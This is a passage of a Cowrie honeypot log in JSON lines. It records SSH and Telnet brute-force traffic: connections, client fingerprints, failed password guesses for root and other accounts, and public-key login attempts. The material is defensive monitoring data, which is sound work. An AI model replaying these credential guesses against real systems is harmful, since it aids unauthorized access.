["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.522267Z","src_ip":"147.45.197.250","session":"556fd41d6482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":51237,"dst_ip":"159.203.135.109","dst_port":22,"session":"d549264d8a5a","protocol":"ssh","message":"New connection: 103.24.63.85:51237 (159.203.135.109:22) [session: d549264d8a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.661215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.701982Z","src_ip":"103.24.63.85","session":"d549264d8a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654","message":"login attempt [root/789654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.802724Z","src_ip":"147.45.197.250","session":"556fd41d6482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46560,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4d27c18bb53","protocol":"ssh","message":"New connection: 109.172.54.111:46560 (159.203.135.109:22) [session: a4d27c18bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.987413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.992952Z","src_ip":"109.172.54.111","session":"a4d27c18bb53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:53.000211Z","src_ip":"103.24.63.85","session":"d549264d8a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:53.138565Z","src_ip":"109.172.54.111","session":"a4d27c18bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j38ifubn","message":"login attempt [root/j38ifubn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:53.455103Z","src_ip":"109.172.54.111","session":"a4d27c18bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:53.687044Z","src_ip":"103.24.63.85","session":"d549264d8a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:53.898452Z","src_ip":"147.45.197.250","session":"556fd41d6482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:54.558625Z","src_ip":"109.172.54.111","session":"a4d27c18bb53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:54.883431Z","src_ip":"103.24.63.85","session":"d549264d8a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39290,"dst_ip":"10.17.0.5","dst_port":23,"session":"673418026df6","protocol":"telnet","message":"New connection: 192.119.13.58:39290 (10.17.0.5:23) [session: 673418026df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:58.733689Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.64.79.248","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e969cbda5c24","protocol":"telnet","message":"New connection: 196.64.79.248:58116 (159.203.135.109:23) [session: e969cbda5c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:02.087296Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.230.38.202","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a926e64eb8","protocol":"telnet","message":"New connection: 221.230.38.202:40594 (159.203.135.109:23) [session: a6a926e64eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:03.243750Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41318,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1b0c61fabb","protocol":"telnet","message":"New connection: 192.119.13.58:41318 (10.17.0.5:23) [session: 5f1b0c61fabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:06.182039Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41794,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec2e198aa83","protocol":"telnet","message":"New connection: 192.119.13.58:41794 (10.17.0.5:23) [session: cec2e198aa83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:13.556891Z"}
{"eventid":"cowrie.session.closed","duration":13.134279489517212,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:15.221477Z","src_ip":"196.64.79.248","session":"e969cbda5c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.206023931503296,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:16.449618Z","src_ip":"221.230.38.202","session":"a6a926e64eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce60dee9780a","protocol":"telnet","message":"New connection: 192.119.13.58:35468 (10.17.0.5:23) [session: ce60dee9780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:19.099813Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":49311,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b4396e17418","protocol":"ssh","message":"New connection: 14.224.227.189:49311 (159.203.135.109:22) [session: 5b4396e17418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:25.196678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:25.206052Z","src_ip":"14.224.227.189","session":"5b4396e17418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:25.446214Z","src_ip":"14.224.227.189","session":"5b4396e17418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35826,"dst_ip":"10.17.0.5","dst_port":23,"session":"555b6bdda84e","protocol":"telnet","message":"New connection: 192.119.13.58:35826 (10.17.0.5:23) [session: 555b6bdda84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:26.244397Z"}
{"eventid":"cowrie.login.failed","username":"useradmin","password":"123456","message":"login attempt [useradmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:26.438074Z","src_ip":"14.224.227.189","session":"5b4396e17418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:27.682328Z","src_ip":"14.224.227.189","session":"5b4396e17418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.619147539138794,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:39.352744Z","src_ip":"192.119.13.58","session":"673418026df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a94c7c61daa","protocol":"telnet","message":"New connection: 192.119.13.58:35402 (10.17.0.5:23) [session: 7a94c7c61daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:39.738246Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":34408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca36d471ad0c","protocol":"ssh","message":"New connection: 103.24.63.85:34408 (159.203.135.109:22) [session: ca36d471ad0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:40.484388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:40.489530Z","src_ip":"103.24.63.85","session":"ca36d471ad0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:40.685958Z","src_ip":"103.24.63.85","session":"ca36d471ad0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.110","src_port":3180,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f2386717519","protocol":"ssh","message":"New connection: 89.45.12.110:3180 (10.17.0.5:22) [session: 0f2386717519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:41.293201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:41.302259Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:41.307762Z","src_ip":"103.24.63.85","session":"ca36d471ad0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:41.439258Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:aa:de:1c:db:85:b3:3a:4f:de:c3:ae:c3:74:cb:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCWC/iXVIRRbdWY7enZLElwdUTl1Jj1gzPimBa4Tv1FkrXiVtAGCY+hDnFijUTjfxwsrTdV/CjV3N6B8zxZPbOBNdOX9drnAyzZ+QMHGnrCLwfhHs03g9f4+VORgbPRj8pRAbaBJ/fH1wW8gWE+w+Q8N5r1vjNMXrDYq0jqmUu4n3wLn+YmahoPdJWGMeBtgNgfi7IK3cR+QPPWguKQ/qSKnLWO+R6UG2sla5D9VxSZfR8AEP3FzYXxtkpM484zA83Lq1Ol3IsFcQBK/1Px6Xi38AXAXhY2g12NyShgEgUntFjub+BS2NXytswa6MBvG72NNcahFAOxVihkS7kI/BN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:aa:de:1c:db:85:b3:3a:4f:de:c3:ae:c3:74:cb:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.086714Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:aa:de:1c:db:85:b3:3a:4f:de:c3:ae:c3:74:cb:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCWC/iXVIRRbdWY7enZLElwdUTl1Jj1gzPimBa4Tv1FkrXiVtAGCY+hDnFijUTjfxwsrTdV/CjV3N6B8zxZPbOBNdOX9drnAyzZ+QMHGnrCLwfhHs03g9f4+VORgbPRj8pRAbaBJ/fH1wW8gWE+w+Q8N5r1vjNMXrDYq0jqmUu4n3wLn+YmahoPdJWGMeBtgNgfi7IK3cR+QPPWguKQ/qSKnLWO+R6UG2sla5D9VxSZfR8AEP3FzYXxtkpM484zA83Lq1Ol3IsFcQBK/1Px6Xi38AXAXhY2g12NyShgEgUntFjub+BS2NXytswa6MBvG72NNcahFAOxVihkS7kI/BN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.091050Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEXBecaaVJ3GR7WZB02IAE9loljwixFuBGfqdUemViUCLSFG5NTvHVBL/3leTRJA/Xd3y6JzVinBvhpclhKMzMSymJrXEOs9N9onpgGmFw7eGZDipWN/LLjOn9PFBJSXU1ze6TG5GHvG9xuCiBs/hlJD7ILxIF+HtjpdDM1KF/8KONZfUzaHzJRu66sKYuPCDRcweQd+hkM/hQch6gd7N3zTTKcxbJlPd82MFGQtU7jHnhmiV2pOAlPazJRTWXmKJeEjqbV6L647pQs20gv3PxEpyEZUBdG4fW1klUEArP3QoZp3wx297DosSQYLZGTjcisTNaVu41OaqCwapb1SZcqKsIHCOz1xduiJCHnu9U4sf13M13UsK5bWlSGuTgP18OunF3nZJkWaDp9c8NNIZN8QAQedMy9LDQhisTjIV6sWV41EM7boBrI1eWc/vcNj8lCqKuCYFRYm/F3M9a2uH79vU7Kw3sG9vYqIp4EYRUBZHOJ9pmeterzJVxo2a+Apk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.226325Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEXBecaaVJ3GR7WZB02IAE9loljwixFuBGfqdUemViUCLSFG5NTvHVBL/3leTRJA/Xd3y6JzVinBvhpclhKMzMSymJrXEOs9N9onpgGmFw7eGZDipWN/LLjOn9PFBJSXU1ze6TG5GHvG9xuCiBs/hlJD7ILxIF+HtjpdDM1KF/8KONZfUzaHzJRu66sKYuPCDRcweQd+hkM/hQch6gd7N3zTTKcxbJlPd82MFGQtU7jHnhmiV2pOAlPazJRTWXmKJeEjqbV6L647pQs20gv3PxEpyEZUBdG4fW1klUEArP3QoZp3wx297DosSQYLZGTjcisTNaVu41OaqCwapb1SZcqKsIHCOz1xduiJCHnu9U4sf13M13UsK5bWlSGuTgP18OunF3nZJkWaDp9c8NNIZN8QAQedMy9LDQhisTjIV6sWV41EM7boBrI1eWc/vcNj8lCqKuCYFRYm/F3M9a2uH79vU7Kw3sG9vYqIp4EYRUBZHOJ9pmeterzJVxo2a+Apk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.230739Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:ed:c8:f6:2f:1e:5c:b7:85:7f:f0:5f:72:70:e6:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33DaKwF+hHjTlSmcztJ0TyIv0tsAGXNKO03xMyZvAMcOrYhUoZVDQbLGD8/y0Os2y4L2hLak17qGJV+DwAZ3pfNKNcMnFyncSIee92bZ8o9nNkCJ/HY/kuvwJVCeQGukYswxf5D1ZW29BkQUrsMSe1REv/dX5vFTsri2t9YU2KZGCxhPqq9DLM2zXO/7XTqxoCyMIWLhuuxp3hsYvYkH/KLdEC7eWtTs3yOvYA2mmZ0GJTve88OcVLP6E8rUKdVQ6qyGlQRiVHlbv0IHW+oc4MdilBdNFpXi/klM5QdeRrMhYdt0Jb2Tsz93w10Ua/H4npDAKQT3hufeeNA116J8p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:ed:c8:f6:2f:1e:5c:b7:85:7f:f0:5f:72:70:e6:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.366067Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
